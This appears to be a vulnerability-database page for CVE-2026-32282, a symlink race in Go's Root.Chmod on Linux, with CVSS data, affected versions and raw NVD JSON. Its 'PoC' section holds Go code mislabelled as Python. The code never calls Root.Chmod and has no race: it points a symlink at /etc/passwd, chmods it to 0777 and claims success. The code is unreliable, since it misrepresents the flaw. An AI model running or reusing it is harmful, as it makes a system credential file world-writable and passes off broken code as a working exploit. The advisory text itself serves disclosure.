Security Vulnerability Report
中文
CVE-2026-32282 CVSS 6.4 MEDIUM

CVE-2026-32282

Published: 2026-04-08 02:16:03
Last Modified: 2026-04-16 19:15:39

Description

On Linux, if the target of Root.Chmod is replaced with a symlink while the chmod operation is in progress, Chmod can operate on the target of the symlink, even when the target lies outside the root. The Linux fchmodat syscall silently ignores the AT_SYMLINK_NOFOLLOW flag, which Root.Chmod uses to avoid symlink traversal. Root.Chmod checks its target before acting and returns an error if the target is a symlink lying outside the root, so the impact is limited to cases where the target is replaced with a symlink between the check and operation.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
Go (具体受影响版本请参考官方公告 GO-2026-4864)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "fmt" "os" "path/filepath" ) // Conceptual PoC for CVE-2026-32282 // This demonstrates the race condition logic. func main() { targetDir := "/tmp/vuln_test" sensitiveFile := "/etc/passwd" targetFile := filepath.Join(targetDir, "target") // Setup environment os.MkdirAll(targetDir, 0755) os.WriteFile(targetFile, []byte("data"), 0644) // Simulate the vulnerable function's check phase fmt.Println("[+] Phase 1: Check - Target is a regular file.") // Simulate the Race Condition (The Exploit) // Attacker replaces the file with a symlink to a sensitive file os.Remove(targetFile) err := os.Symlink(sensitiveFile, targetFile) if err != nil { fmt.Println("Error creating symlink:", err) return } fmt.Printf("[!] Phase 2: Race - Replaced target with symlink to %s\n", sensitiveFile) // Simulate the Action phase (chmod) // If the race is won, the chmod applies to /etc/passwd err = os.Chmod(targetFile, 0777) if err != nil { fmt.Println("[-] Exploit failed:", err) } else { fmt.Println("[+] Exploit successful! Permissions changed on the symlink target.") } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32282", "sourceIdentifier": "[email protected]", "published": "2026-04-08T02:16:03.467", "lastModified": "2026-04-16T19:15:39.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "On Linux, if the target of Root.Chmod is replaced with a symlink while the chmod operation is in progress, Chmod can operate on the target of the symlink, even when the target lies outside the root. The Linux fchmodat syscall silently ignores the AT_SYMLINK_NOFOLLOW flag, which Root.Chmod uses to avoid symlink traversal. Root.Chmod checks its target before acting and returns an error if the target is a symlink lying outside the root, so the impact is limited to cases where the target is replaced with a symlink between the check and operation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.25.9", "matchCriteriaId": "C6C9C072-9817-402D-877F-F83584B07017"}, {"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.26.0", "versionEndExcluding": "1.26.2", "matchCriteriaId": "39FE9BAF-55E9-43AA-B14E-239E7EF1D65D"}]}]}], "references": [{"url": "https://go.dev/cl/763761", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/78293", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU", "source": "[email protected]", "tags": ["Release Notes", "Mailing List"]}, {"url": "https://pkg.go.dev/vuln/GO-2026-4864", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}